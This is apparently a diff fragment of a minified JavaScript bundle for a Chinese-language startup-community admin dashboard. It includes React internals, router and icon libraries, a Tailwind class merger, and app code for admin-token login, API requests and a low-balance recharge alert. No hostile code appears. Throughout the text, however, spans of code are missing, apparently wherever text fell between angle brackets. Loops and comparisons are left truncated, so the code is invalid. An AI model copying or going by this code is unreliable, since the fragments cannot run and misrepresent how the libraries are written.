18:Kn!==null&&(bs?(l=Kn,p=p.stateNode,l.nodeType===8?mp(l.parentNode,p):l.nodeType===1&&mp(l,p),Ql(l)):mp(Kn,p.stateNode));break;case 4:x=Kn,j=bs,Kn=p.stateNode.containerInfo,bs=!0,Ha(l,d,p),Kn=x,bs=j;break;case 0:case 11:case 14:case 15:if(!sr&&(x=p.updateQueue,x!==null&&(x=x.lastEffect,x!==null))){j=x=x.next;do{var S=j,A=S.destroy;S=S.tag,A!==void 0&&((S&2)!==0||(S&4)!==0)&&Zp(p,d,A),j=j.next}while(j!==x)}Ha(l,d,p);break;case 1:if(!sr&&(Zo(p,d),x=p.stateNode,typeof x.componentWillUnmount=="function"))try{x.props=p.memoizedProps,x.state=p.memoizedState,x.componentWillUnmount()}catch(F){dn(p,d,F)}Ha(l,d,p);break;case 21:Ha(l,d,p);break;case 22:p.mode&1?(sr=(x=sr)||p.memoizedState!==null,Ha(l,d,p),sr=x):Ha(l,d,p);break;default:Ha(l,d,p)}}function Xb(l){var d=l.updateQueue;if(d!==null){l.updateQueue=null;var p=l.stateNode;p===null&&(p=l.stateNode=new Z3),d.forEach(function(x){var j=cE.bind(null,l,x);p.has(x)||(p.add(x),x.then(j,j))})}}function vs(l,d){var p=d.deletions;if(p!==null)for(var x=0;xj&&(j=A),x&=~S}if(x=j,x=Ot()-x,x=(120>x?120:480>x?480:1080>x?1080:1920>x?1920:3e3>x?3e3:4320>x?4320:1960*nE(x/1960))-x,10l?16:l,Ua===null)var x=!1;else{if(l=Ua,Ua=null,hu=0,(bt&6)!==0)throw Error(n(331));var j=bt;for(bt|=4,_e=l.current;_e!==null;){var S=_e,A=S.child;if((_e.flags&16)!==0){var F=S.deletions;if(F!==null){for(var G=0;GOt()-am?Yi(l,0):sm|=p),Er(l,d)}function uv(l,d){d===0&&((l.mode&1)===0?d=1:(d=Un,Un<<=1,(Un&130023424)===0&&(Un=4194304)));var p=yr();l=oa(l,d),l!==null&&(zi(l,d,p),Er(l,p))}function lE(l){var d=l.memoizedState,p=0;d!==null&&(p=d.retryLane),uv(l,p)}function cE(l,d){var p=0;switch(l.tag){case 13:var x=l.stateNode,j=l.memoizedState;j!==null&&(p=j.retryLane);break;case 19:x=l.stateNode;break;default:throw Error(n(314))}x!==null&&x.delete(d),uv(l,p)}var hv;hv=function(l,d,p){if(l!==null)if(l.memoizedProps!==d.pendingProps||jr.current)Sr=!0;else{if((l.lanes&p)===0&&(d.flags&128)===0)return Sr=!1,Y3(l,d,p);Sr=(l.flags&131072)!==0}else Sr=!1,Xt&&(d.flags&1048576)!==0&&Uy(d,Wd,d.index);switch(d.lanes=0,d.tag){case 2:var x=d.type;au(l,d),l=d.pendingProps;var j=Wo(d,tr.current);Yo(d,p),j=Lp(null,d,x,l,j,p);var S=_p();return d.flags|=1,typeof j=="object"&&j!==null&&typeof j.render=="function"&&j.$$typeof===void 0?(d.tag=1,d.memoizedState=null,d.updateQueue=null,kr(x)?(S=!0,Bd(d)):S=!1,d.memoizedState=j.state!==null&&j.state!==void 0?j.state:null,Mp(d),j.updater=ru,d.stateNode=j,j._reactInternals=d,Hp(d,x,l,p),d=qp(null,d,x,!0,S,p)):(d.tag=0,Xt&&S&&bp(d),xr(null,d,j,p),d=d.child),d;case 16:x=d.elementType;e:{switch(au(l,d),l=d.pendingProps,j=x._init,x=j(x._payload),d.type=x,j=d.tag=uE(x),l=ys(x,l),j){case 0:d=Kp(null,d,x,l,p);break e;case 1:d=zb(null,d,x,l,p);break e;case 11:d=Pb(null,d,x,l,p);break e;case 14:d=Ob(null,d,x,ys(x.type,l),p);break e}throw Error(n(306,x,""))}return d;case 0:return x=d.type,j=d.pendingProps,j=d.elementType===x?j:ys(x,j),Kp(l,d,x,j,p);case 1:return x=d.type,j=d.pendingProps,j=d.elementType===x?j:ys(x,j),zb(l,d,x,j,p);case 3:e:{if($b(d),l===null)throw Error(n(387));x=d.pendingProps,S=d.memoizedState,j=S.element,eb(l,d),Yd(d,x,null,p);var A=d.memoizedState;if(x=A.element,S.isDehydrated)if(S={element:x,isDehydrated:!1,cache:A.cache,pendingSuspenseBoundaries:A.pendingSuspenseBoundaries,transitions:A.transitions},d.updateQueue.baseState=S,d.memoizedState=S,d.flags&256){j=Xo(Error(n(423)),d),d=Fb(l,d,x,p,j);break e}else if(x!==j){j=Xo(Error(n(424)),d),d=Fb(l,d,x,p,j);break e}else for(Dr=_a(d.stateNode.containerInfo.firstChild),Or=d,Xt=!0,xs=null,p=Xy(d,null,x,p),d.child=p;p;)p.flags=p.flags&-3|4096,p=p.sibling;else{if(qo(),x===j){d=ca(l,d,p);break e}xr(l,d,x,p)}d=d.child}return d;case 5:return rb(d),l===null&&wp(d),x=d.type,j=d.pendingProps,S=l!==null?l.memoizedProps:null,A=j.children,fp(x,j)?A=null:S!==null&&fp(x,S)&&(d.flags|=32),_b(l,d),xr(l,d,A,p),d.child;case 6:return l===null&&wp(d),null;case 13:return Bb(l,d,p);case 4:return Ap(d,d.stateNode.containerInfo),x=d.pendingProps,l===null?d.child=Go(d,null,x,p):xr(l,d,x,p),d.child;case 11:return x=d.type,j=d.pendingProps,j=d.elementType===x?j:ys(x,j),Pb(l,d,x,j,p);case 7:return xr(l,d,d.pendingProps,p),d.child;case 8:return xr(l,d,d.pendingProps.children,p),d.child;case 12:return xr(l,d,d.pendingProps.children,p),d.child;case 10:e:{if(x=d.type._context,j=d.pendingProps,S=d.memoizedProps,A=j.value,Vt(qd,x._currentValue),x._currentValue=A,S!==null)if(gs(S.value,A)){if(S.children===j.children&&!jr.current){d=ca(l,d,p);break e}}else for(S=d.child,S!==null&&(S.return=d);S!==null;){var F=S.dependencies;if(F!==null){A=S.child;for(var G=F.firstContext;G!==null;){if(G.context===x){if(S.tag===1){G=la(-1,p&-p),G.tag=2;var he=S.updateQueue;if(he!==null){he=he.shared;var je=he.pending;je===null?G.next=G:(G.next=je.next,je.next=G),he.pending=G}}S.lanes|=p,G=S.alternate,G!==null&&(G.lanes|=p),Ep(S.return,p,d),F.lanes|=p;break}G=G.next}}else if(S.tag===10)A=S.type===d.type?null:S.child;else if(S.tag===18){if(A=S.return,A===null)throw Error(n(341));A.lanes|=p,F=A.alternate,F!==null&&(F.lanes|=p),Ep(A,p,d),A=S.sibling}else A=S.child;if(A!==null)A.return=S;else for(A=S;A!==null;){if(A===d){A=null;break}if(S=A.sibling,S!==null){S.return=A.return,A=S;break}A=A.return}S=A}xr(l,d,j.children,p),d=d.child}return d;case 9:return j=d.type,x=d.pendingProps.children,Yo(d,p),j=Xr(j),x=x(j),d.flags|=1,xr(l,d,x,p),d.child;case 14:return x=d.type,j=ys(x,d.pendingProps),j=ys(x.type,j),Ob(l,d,x,j,p);case 15:return Db(l,d,d.type,d.pendingProps,p);case 17:return x=d.type,j=d.pendingProps,j=d.elementType===x?j:ys(x,j),au(l,d),d.tag=1,kr(x)?(l=!0,Bd(d)):l=!1,Yo(d,p),Cb(d,x,j),Hp(d,x,j,p),qp(null,d,x,!0,l,p);case 19:return Hb(l,d,p);case 22:return Lb(l,d,p)}throw Error(n(156,d.tag))};function fv(l,d){return Gr(l,d)}function dE(l,d,p,x){this.tag=l,this.key=p,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=d,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=x,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function ts(l,d,p,x){return new dE(l,d,p,x)}function fm(l){return l=l.prototype,!(!l||!l.isReactComponent)}function uE(l){if(typeof l=="function")return fm(l)?1:0;if(l!=null){if(l=l.$$typeof,l===ne)return 11;if(l===$)return 14}return 2}function Ga(l,d){var p=l.alternate;return p===null?(p=ts(l.tag,d,l.key,l.mode),p.elementType=l.elementType,p.type=l.type,p.stateNode=l.stateNode,p.alternate=l,l.alternate=p):(p.pendingProps=d,p.type=l.type,p.flags=0,p.subtreeFlags=0,p.deletions=null),p.flags=l.flags&14680064,p.childLanes=l.childLanes,p.lanes=l.lanes,p.child=l.child,p.memoizedProps=l.memoizedProps,p.memoizedState=l.memoizedState,p.updateQueue=l.updateQueue,d=l.dependencies,p.dependencies=d===null?null:{lanes:d.lanes,firstContext:d.firstContext},p.sibling=l.sibling,p.index=l.index,p.ref=l.ref,p}function gu(l,d,p,x,j,S){var A=2;if(x=l,typeof l=="function")fm(l)&&(A=1);else if(typeof l=="string")A=5;else e:switch(l){case L:return Xi(p.children,j,S,d);case R:A=8,j|=8;break;case D:return l=ts(12,p,d,j|2),l.elementType=D,l.lanes=S,l;case fe:return l=ts(13,p,d,j),l.elementType=fe,l.lanes=S,l;case xe:return l=ts(19,p,d,j),l.elementType=xe,l.lanes=S,l;case oe:return xu(p,j,S,d);default:if(typeof l=="object"&&l!==null)switch(l.$$typeof){case z:A=10;break e;case Z:A=9;break e;case ne:A=11;break e;case $:A=14;break e;case H:A=16,x=null;break e}throw Error(n(130,l==null?l:typeof l,""))}return d=ts(A,p,d,j),d.elementType=l,d.type=x,d.lanes=S,d}function Xi(l,d,p,x){return l=ts(7,l,x,d),l.lanes=p,l}function xu(l,d,p,x){return l=ts(22,l,x,d),l.elementType=oe,l.lanes=p,l.stateNode={isHidden:!1},l}function pm(l,d,p){return l=ts(6,l,null,d),l.lanes=p,l}function mm(l,d,p){return d=ts(4,l.children!==null?l.children:[],l.key,d),d.lanes=p,d.stateNode={containerInfo:l.containerInfo,pendingChildren:null,implementation:l.implementation},d}function hE(l,d,p,x,j){this.tag=d,this.containerInfo=l,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Ul(0),this.expirationTimes=Ul(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Ul(0),this.identifierPrefix=x,this.onRecoverableError=j,this.mutableSourceEagerHydrationData=null}function gm(l,d,p,x,j,S,A,F,G){return l=new hE(l,d,p,F,G),d===1?(d=1,S===!0&&(d|=8)):d=0,S=ts(3,null,null,d),l.current=S,S.stateNode=l,S.memoizedState={element:x,isDehydrated:p,cache:null,transitions:null,pendingSuspenseBoundaries:null},Mp(S),l}function fE(l,d,p){var x=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(t)}catch(e){console.error(e)}}return t(),wm.exports=SE(),wm.exports}var Ev;function CE(){if(Ev)return ku;Ev=1;var t=Pw();return ku.createRoot=t.createRoot,ku.hydrateRoot=t.hydrateRoot,ku}var EE=CE(),md=Pw();const Ow=Rw(md);/** * @remix-run/router v1.23.2 * * Copyright (c) Remix Software Inc. @@ -419,7 +419,7 @@ Error generating stack: `+S.message+` * * This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. - */const kA=[["path",{d:"M3 12a9 9 0 0 1 9-9 9.75 9.75 0 0 1 6.74 2.74L21 8",key:"v9h5vc"}],["path",{d:"M21 3v5h-5",key:"1q7to0"}],["path",{d:"M21 12a9 9 0 0 1-9 9 9.75 9.75 0 0 1-6.74-2.74L3 16",key:"3uifl3"}],["path",{d:"M8 16H3v5",key:"1cv678"}]],Ke=Me("refresh-cw",kA);/** + */const kA=[["path",{d:"M3 12a9 9 0 0 1 9-9 9.75 9.75 0 0 1 6.74 2.74L21 8",key:"v9h5vc"}],["path",{d:"M21 3v5h-5",key:"1q7to0"}],["path",{d:"M21 12a9 9 0 0 1-9 9 9.75 9.75 0 0 1-6.74-2.74L3 16",key:"3uifl3"}],["path",{d:"M8 16H3v5",key:"1cv678"}]],qe=Me("refresh-cw",kA);/** * @license lucide-react v0.562.0 - ISC * * This source code is licensed under the ISC license. @@ -539,7 +539,7 @@ Error generating stack: `+S.message+` * * This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. - */const XA=[["path",{d:"M4 14a1 1 0 0 1-.78-1.63l9.9-10.2a.5.5 0 0 1 .86.46l-1.92 6.02A1 1 0 0 0 13 10h7a1 1 0 0 1 .78 1.63l-9.9 10.2a.5.5 0 0 1-.86-.46l1.92-6.02A1 1 0 0 0 11 14z",key:"1xq2db"}]],li=Me("zap",XA),Vx="admin_token";function pf(){try{return localStorage.getItem(Vx)}catch{return null}}function ZA(t){try{localStorage.setItem(Vx,t)}catch{}}function Mm(){try{localStorage.removeItem(Vx)}catch{}}const e5="https://soulapi.quwanzhi.com",t5=15e3,Hv=6e4,n5=()=>{const t="https://soulapi.quwanzhi.com";return t.length>0?t.replace(/\/$/,""):e5};function go(t){const e=n5(),n=t.startsWith("/")?t:`/${t}`;return e?`${e}${n}`:n}async function mf(t,e={}){const{data:n,...r}=e,a=go(t),i=new Headers(r.headers),o=pf();o&&i.set("Authorization",`Bearer ${o}`),n!=null&&!i.has("Content-Type")&&i.set("Content-Type","application/json");const c=n!=null?JSON.stringify(n):r.body,u=r.timeout??t5,h=new AbortController,f=setTimeout(()=>h.abort(),u),m=await fetch(a,{...r,headers:i,body:c,credentials:"include",signal:h.signal}).finally(()=>clearTimeout(f)),y=(m.headers.get("Content-Type")||"").includes("application/json")?await m.json():m,N=w=>{const v=w,k=((v==null?void 0:v.message)||(v==null?void 0:v.error)||"").toString();(k.includes("可提现金额不足")||k.includes("可提现不足")||k.includes("余额不足"))&&window.dispatchEvent(new CustomEvent("recharge-alert",{detail:k}))};if(!m.ok){N(y);const w=new Error((y==null?void 0:y.error)||`HTTP ${m.status}`);throw w.status=m.status,w.data=y,w}return N(y),y}function De(t,e){return mf(t,{...e,method:"GET"})}function vt(t,e,n){return mf(t,{...n,method:"POST",data:e})}function zt(t,e,n){return mf(t,{...n,method:"PUT",data:e})}function Bs(t,e){return mf(t,{...e,method:"DELETE"})}function r5(){const[t,e]=b.useState(!1),[n,r]=b.useState("");return b.useEffect(()=>{const a=i=>{const o=i.detail;r(o||"可提现/余额不足,请及时充值商户号"),e(!0)};return window.addEventListener("recharge-alert",a),()=>window.removeEventListener("recharge-alert",a)},[]),t?s.jsxs("div",{className:"flex items-center justify-between gap-4 px-4 py-3 bg-red-900/80 border-b border-red-600/50 text-red-100",role:"alert",children:[s.jsxs("div",{className:"flex items-center gap-3 min-w-0",children:[s.jsx(qw,{className:"w-5 h-5 shrink-0 text-red-400"}),s.jsxs("span",{className:"text-sm font-medium",children:[n,s.jsx("span",{className:"ml-2 text-red-300",children:"请及时充值商户号或核对账户后重试。"})]})]}),s.jsx("button",{type:"button",onClick:()=>e(!1),className:"shrink-0 p-1 rounded hover:bg-red-800/50 transition-colors","aria-label":"关闭告警",children:s.jsx(ir,{className:"w-4 h-4"})})]}):null}const s5=[{icon:HM,label:"数据概览",href:"/dashboard"},{icon:Br,label:"内容管理",href:"/content"},{icon:Zn,label:"用户管理",href:"/users"},{icon:NM,label:"找伙伴",href:"/find-partner"},{icon:jl,label:"推广中心",href:"/distribution"}];function a5(){const t=Si(),e=Ci(),[n,r]=b.useState(!1),[a,i]=b.useState(!1);b.useEffect(()=>{r(!0)},[]),b.useEffect(()=>{if(!n)return;i(!1);let c=!1;if(!pf()){e("/login",{replace:!0});return}return De("/api/admin").then(u=>{c||(u&&u.success!==!1?i(!0):(Mm(),e("/login",{replace:!0,state:{from:t.pathname}})))}).catch(()=>{c||(Mm(),e("/login",{replace:!0,state:{from:t.pathname}}))}),()=>{c=!0}},[t.pathname,n,e]);const o=async()=>{Mm();try{await vt("/api/admin/logout",{})}catch{}e("/login",{replace:!0})};return!n||!a?s.jsxs("div",{className:"flex min-h-screen bg-[#0a1628]",children:[s.jsx("div",{className:"w-64 bg-[#0f2137] border-r border-gray-700/50"}),s.jsx("div",{className:"flex-1 flex items-center justify-center",children:s.jsx("div",{className:"text-[#38bdac]",children:"加载中..."})})]}):s.jsxs("div",{className:"flex min-h-screen bg-[#0a1628]",children:[s.jsxs("div",{className:"w-64 bg-[#0f2137] flex flex-col border-r border-gray-700/50 shadow-xl",children:[s.jsxs("div",{className:"p-6 border-b border-gray-700/50",children:[s.jsx("h1",{className:"text-xl font-bold text-[#38bdac]",children:"管理后台"}),s.jsx("p",{className:"text-xs text-gray-400 mt-1",children:"Soul创业派对"})]}),s.jsxs("nav",{className:"flex-1 p-4 space-y-1 overflow-y-auto",children:[s5.map(c=>{const u=t.pathname===c.href;return s.jsxs(Eg,{to:c.href,className:`flex items-center gap-3 px-4 py-3 rounded-lg transition-colors ${u?"bg-[#38bdac]/20 text-[#38bdac] font-medium":"text-gray-400 hover:bg-gray-700/50 hover:text-white"}`,children:[s.jsx(c.icon,{className:"w-5 h-5 shrink-0"}),s.jsx("span",{className:"text-sm",children:c.label})]},c.href)}),s.jsx("div",{className:"pt-4 mt-4 border-t border-gray-700/50",children:s.jsxs(Eg,{to:"/settings",className:`flex items-center gap-3 px-4 py-3 rounded-lg transition-colors ${t.pathname==="/settings"?"bg-[#38bdac]/20 text-[#38bdac] font-medium":"text-gray-400 hover:bg-gray-700/50 hover:text-white"}`,children:[s.jsx(lo,{className:"w-5 h-5 shrink-0"}),s.jsx("span",{className:"text-sm",children:"系统设置"})]})})]}),s.jsx("div",{className:"p-4 border-t border-gray-700/50 space-y-1",children:s.jsxs("button",{type:"button",onClick:o,className:"w-full flex items-center gap-3 px-4 py-3 text-gray-400 hover:text-white rounded-lg hover:bg-gray-700/50 transition-colors",children:[s.jsx(ZM,{className:"w-5 h-5"}),s.jsx("span",{className:"text-sm",children:"退出登录"})]})})]}),s.jsxs("div",{className:"flex-1 overflow-auto bg-[#0a1628] min-w-0 flex flex-col",children:[s.jsx(r5,{}),s.jsx("div",{className:"w-full min-w-[1024px] min-h-full flex-1",children:s.jsx(vT,{})})]})]})}function Wv(t,e){if(typeof t=="function")return t(e);t!=null&&(t.current=e)}function Hx(...t){return e=>{let n=!1;const r=t.map(a=>{const i=Wv(a,e);return!n&&typeof i=="function"&&(n=!0),i});if(n)return()=>{for(let a=0;a{let{children:i,...o}=r;sj(i)&&typeof hh=="function"&&(i=hh(i._payload));const c=b.Children.toArray(i),u=c.find(d5);if(u){const h=u.props.children,f=c.map(m=>m===u?b.Children.count(h)>1?b.Children.only(null):b.isValidElement(h)?h.props.children:null:m);return s.jsx(e,{...o,ref:a,children:b.isValidElement(h)?b.cloneElement(h,void 0,f):null})}return s.jsx(e,{...o,ref:a,children:i})});return n.displayName=`${t}.Slot`,n}var ij=aj("Slot");function l5(t){const e=b.forwardRef((n,r)=>{let{children:a,...i}=n;if(sj(a)&&typeof hh=="function"&&(a=hh(a._payload)),b.isValidElement(a)){const o=h5(a),c=u5(i,a.props);return a.type!==b.Fragment&&(c.ref=r?Hx(r,o):o),b.cloneElement(a,c)}return b.Children.count(a)>1?b.Children.only(null):null});return e.displayName=`${t}.SlotClone`,e}var c5=Symbol("radix.slottable");function d5(t){return b.isValidElement(t)&&typeof t.type=="function"&&"__radixId"in t.type&&t.type.__radixId===c5}function u5(t,e){const n={...e};for(const r in e){const a=t[r],i=e[r];/^on[A-Z]/.test(r)?a&&i?n[r]=(...c)=>{const u=i(...c);return a(...c),u}:a&&(n[r]=a):r==="style"?n[r]={...a,...i}:r==="className"&&(n[r]=[a,i].filter(Boolean).join(" "))}return{...t,...n}}function h5(t){var r,a;let e=(r=Object.getOwnPropertyDescriptor(t.props,"ref"))==null?void 0:r.get,n=e&&"isReactWarning"in e&&e.isReactWarning;return n?t.ref:(e=(a=Object.getOwnPropertyDescriptor(t,"ref"))==null?void 0:a.get,n=e&&"isReactWarning"in e&&e.isReactWarning,n?t.props.ref:t.props.ref||t.ref)}function oj(t){var e,n,r="";if(typeof t=="string"||typeof t=="number")r+=t;else if(typeof t=="object")if(Array.isArray(t)){var a=t.length;for(e=0;etypeof t=="boolean"?`${t}`:t===0?"0":t,Kv=lj,cj=(t,e)=>n=>{var r;if((e==null?void 0:e.variants)==null)return Kv(t,n==null?void 0:n.class,n==null?void 0:n.className);const{variants:a,defaultVariants:i}=e,o=Object.keys(a).map(h=>{const f=n==null?void 0:n[h],m=i==null?void 0:i[h];if(f===null)return null;const g=Uv(f)||Uv(m);return a[h][g]}),c=n&&Object.entries(n).reduce((h,f)=>{let[m,g]=f;return g===void 0||(h[m]=g),h},{}),u=e==null||(r=e.compoundVariants)===null||r===void 0?void 0:r.reduce((h,f)=>{let{class:m,className:g,...y}=f;return Object.entries(y).every(N=>{let[w,v]=N;return Array.isArray(v)?v.includes({...i,...c}[w]):{...i,...c}[w]===v})?[...h,m,g]:h},[]);return Kv(t,o,u,n==null?void 0:n.class,n==null?void 0:n.className)},f5=(t,e)=>{const n=new Array(t.length+e.length);for(let r=0;r({classGroupId:t,validator:e}),dj=(t=new Map,e=null,n)=>({nextPart:t,validators:e,classGroupId:n}),fh="-",qv=[],m5="arbitrary..",g5=t=>{const e=y5(t),{conflictingClassGroups:n,conflictingClassGroupModifiers:r}=t;return{getClassGroupId:o=>{if(o.startsWith("[")&&o.endsWith("]"))return x5(o);const c=o.split(fh),u=c[0]===""&&c.length>1?1:0;return uj(c,u,e)},getConflictingClassGroupIds:(o,c)=>{if(c){const u=r[o],h=n[o];return u?h?f5(h,u):u:h||qv}return n[o]||qv}}},uj=(t,e,n)=>{if(t.length-e===0)return n.classGroupId;const a=t[e],i=n.nextPart.get(a);if(i){const h=uj(t,e+1,i);if(h)return h}const o=n.validators;if(o===null)return;const c=e===0?t.join(fh):t.slice(e).join(fh),u=o.length;for(let h=0;ht.slice(1,-1).indexOf(":")===-1?void 0:(()=>{const e=t.slice(1,-1),n=e.indexOf(":"),r=e.slice(0,n);return r?m5+r:void 0})(),y5=t=>{const{theme:e,classGroups:n}=t;return b5(n,e)},b5=(t,e)=>{const n=dj();for(const r in t){const a=t[r];Wx(a,n,r,e)}return n},Wx=(t,e,n,r)=>{const a=t.length;for(let i=0;i{if(typeof t=="string"){N5(t,e,n);return}if(typeof t=="function"){w5(t,e,n,r);return}j5(t,e,n,r)},N5=(t,e,n)=>{const r=t===""?e:hj(e,t);r.classGroupId=n},w5=(t,e,n,r)=>{if(k5(t)){Wx(t(r),e,n,r);return}e.validators===null&&(e.validators=[]),e.validators.push(p5(n,t))},j5=(t,e,n,r)=>{const a=Object.entries(t),i=a.length;for(let o=0;o{let n=t;const r=e.split(fh),a=r.length;for(let i=0;i"isThemeGetter"in t&&t.isThemeGetter===!0,S5=t=>{if(t<1)return{get:()=>{},set:()=>{}};let e=0,n=Object.create(null),r=Object.create(null);const a=(i,o)=>{n[i]=o,e++,e>t&&(e=0,r=n,n=Object.create(null))};return{get(i){let o=n[i];if(o!==void 0)return o;if((o=r[i])!==void 0)return a(i,o),o},set(i,o){i in n?n[i]=o:a(i,o)}}},_g="!",Gv=":",C5=[],Jv=(t,e,n,r,a)=>({modifiers:t,hasImportantModifier:e,baseClassName:n,maybePostfixModifierPosition:r,isExternal:a}),E5=t=>{const{prefix:e,experimentalParseClassName:n}=t;let r=a=>{const i=[];let o=0,c=0,u=0,h;const f=a.length;for(let w=0;wu?h-u:void 0;return Jv(i,y,g,N)};if(e){const a=e+Gv,i=r;r=o=>o.startsWith(a)?i(o.slice(a.length)):Jv(C5,!1,o,void 0,!0)}if(n){const a=r;r=i=>n({className:i,parseClassName:a})}return r},T5=t=>{const e=new Map;return t.orderSensitiveModifiers.forEach((n,r)=>{e.set(n,1e6+r)}),n=>{const r=[];let a=[];for(let i=0;i0&&(a.sort(),r.push(...a),a=[]),r.push(o)):a.push(o)}return a.length>0&&(a.sort(),r.push(...a)),r}},M5=t=>({cache:S5(t.cacheSize),parseClassName:E5(t),sortModifiers:T5(t),...g5(t)}),A5=/\s+/,I5=(t,e)=>{const{parseClassName:n,getClassGroupId:r,getConflictingClassGroupIds:a,sortModifiers:i}=e,o=[],c=t.trim().split(A5);let u="";for(let h=c.length-1;h>=0;h-=1){const f=c[h],{isExternal:m,modifiers:g,hasImportantModifier:y,baseClassName:N,maybePostfixModifierPosition:w}=n(f);if(m){u=f+(u.length>0?" "+u:u);continue}let v=!!w,k=r(v?N.substring(0,w):N);if(!k){if(!v){u=f+(u.length>0?" "+u:u);continue}if(k=r(N),!k){u=f+(u.length>0?" "+u:u);continue}v=!1}const C=g.length===0?"":g.length===1?g[0]:i(g).join(":"),E=y?C+_g:C,T=E+k;if(o.indexOf(T)>-1)continue;o.push(T);const I=a(k,v);for(let O=0;O0?" "+u:u)}return u},R5=(...t)=>{let e=0,n,r,a="";for(;e{if(typeof t=="string")return t;let e,n="";for(let r=0;r{let n,r,a,i;const o=u=>{const h=e.reduce((f,m)=>m(f),t());return n=M5(h),r=n.cache.get,a=n.cache.set,i=c,c(u)},c=u=>{const h=r(u);if(h)return h;const f=I5(u,n);return a(u,f),f};return i=o,(...u)=>i(R5(...u))},O5=[],Mn=t=>{const e=n=>n[t]||O5;return e.isThemeGetter=!0,e},pj=/^\[(?:(\w[\w-]*):)?(.+)\]$/i,mj=/^\((?:(\w[\w-]*):)?(.+)\)$/i,D5=/^\d+\/\d+$/,L5=/^(\d+(\.\d+)?)?(xs|sm|md|lg|xl)$/,_5=/\d+(%|px|r?em|[sdl]?v([hwib]|min|max)|pt|pc|in|cm|mm|cap|ch|ex|r?lh|cq(w|h|i|b|min|max))|\b(calc|min|max|clamp)\(.+\)|^0$/,z5=/^(rgba?|hsla?|hwb|(ok)?(lab|lch)|color-mix)\(.+\)$/,$5=/^(inset_)?-?((\d+)?\.?(\d+)[a-z]+|0)_-?((\d+)?\.?(\d+)[a-z]+|0)/,F5=/^(url|image|image-set|cross-fade|element|(repeating-)?(linear|radial|conic)-gradient)\(.+\)$/,rl=t=>D5.test(t),ut=t=>!!t&&!Number.isNaN(Number(t)),Ya=t=>!!t&&Number.isInteger(Number(t)),Am=t=>t.endsWith("%")&&ut(t.slice(0,-1)),ha=t=>L5.test(t),B5=()=>!0,V5=t=>_5.test(t)&&!z5.test(t),gj=()=>!1,H5=t=>$5.test(t),W5=t=>F5.test(t),U5=t=>!$e(t)&&!Fe(t),K5=t=>Ol(t,bj,gj),$e=t=>pj.test(t),Zi=t=>Ol(t,vj,V5),Im=t=>Ol(t,Q5,ut),Yv=t=>Ol(t,xj,gj),q5=t=>Ol(t,yj,W5),Eu=t=>Ol(t,Nj,H5),Fe=t=>mj.test(t),Sc=t=>Dl(t,vj),G5=t=>Dl(t,X5),Qv=t=>Dl(t,xj),J5=t=>Dl(t,bj),Y5=t=>Dl(t,yj),Tu=t=>Dl(t,Nj,!0),Ol=(t,e,n)=>{const r=pj.exec(t);return r?r[1]?e(r[1]):n(r[2]):!1},Dl=(t,e,n=!1)=>{const r=mj.exec(t);return r?r[1]?e(r[1]):n:!1},xj=t=>t==="position"||t==="percentage",yj=t=>t==="image"||t==="url",bj=t=>t==="length"||t==="size"||t==="bg-size",vj=t=>t==="length",Q5=t=>t==="number",X5=t=>t==="family-name",Nj=t=>t==="shadow",Z5=()=>{const t=Mn("color"),e=Mn("font"),n=Mn("text"),r=Mn("font-weight"),a=Mn("tracking"),i=Mn("leading"),o=Mn("breakpoint"),c=Mn("container"),u=Mn("spacing"),h=Mn("radius"),f=Mn("shadow"),m=Mn("inset-shadow"),g=Mn("text-shadow"),y=Mn("drop-shadow"),N=Mn("blur"),w=Mn("perspective"),v=Mn("aspect"),k=Mn("ease"),C=Mn("animate"),E=()=>["auto","avoid","all","avoid-page","page","left","right","column"],T=()=>["center","top","bottom","left","right","top-left","left-top","top-right","right-top","bottom-right","right-bottom","bottom-left","left-bottom"],I=()=>[...T(),Fe,$e],O=()=>["auto","hidden","clip","visible","scroll"],L=()=>["auto","contain","none"],R=()=>[Fe,$e,u],D=()=>[rl,"full","auto",...R()],_=()=>[Ya,"none","subgrid",Fe,$e],Z=()=>["auto",{span:["full",Ya,Fe,$e]},Ya,Fe,$e],ne=()=>[Ya,"auto",Fe,$e],fe=()=>["auto","min","max","fr",Fe,$e],xe=()=>["start","end","center","between","around","evenly","stretch","baseline","center-safe","end-safe"],$=()=>["start","end","center","stretch","center-safe","end-safe"],H=()=>["auto",...R()],oe=()=>[rl,"auto","full","dvw","dvh","lvw","lvh","svw","svh","min","max","fit",...R()],P=()=>[t,Fe,$e],K=()=>[...T(),Qv,Yv,{position:[Fe,$e]}],V=()=>["no-repeat",{repeat:["","x","y","space","round"]}],z=()=>["auto","cover","contain",J5,K5,{size:[Fe,$e]}],U=()=>[Am,Sc,Zi],le=()=>["","none","full",h,Fe,$e],J=()=>["",ut,Sc,Zi],Y=()=>["solid","dashed","dotted","double"],B=()=>["normal","multiply","screen","overlay","darken","lighten","color-dodge","color-burn","hard-light","soft-light","difference","exclusion","hue","saturation","color","luminosity"],re=()=>[ut,Am,Qv,Yv],ue=()=>["","none",N,Fe,$e],ce=()=>["none",ut,Fe,$e],ye=()=>["none",ut,Fe,$e],Re=()=>[ut,Fe,$e],Le=()=>[rl,"full",...R()];return{cacheSize:500,theme:{animate:["spin","ping","pulse","bounce"],aspect:["video"],blur:[ha],breakpoint:[ha],color:[B5],container:[ha],"drop-shadow":[ha],ease:["in","out","in-out"],font:[U5],"font-weight":["thin","extralight","light","normal","medium","semibold","bold","extrabold","black"],"inset-shadow":[ha],leading:["none","tight","snug","normal","relaxed","loose"],perspective:["dramatic","near","normal","midrange","distant","none"],radius:[ha],shadow:[ha],spacing:["px",ut],text:[ha],"text-shadow":[ha],tracking:["tighter","tight","normal","wide","wider","widest"]},classGroups:{aspect:[{aspect:["auto","square",rl,$e,Fe,v]}],container:["container"],columns:[{columns:[ut,$e,Fe,c]}],"break-after":[{"break-after":E()}],"break-before":[{"break-before":E()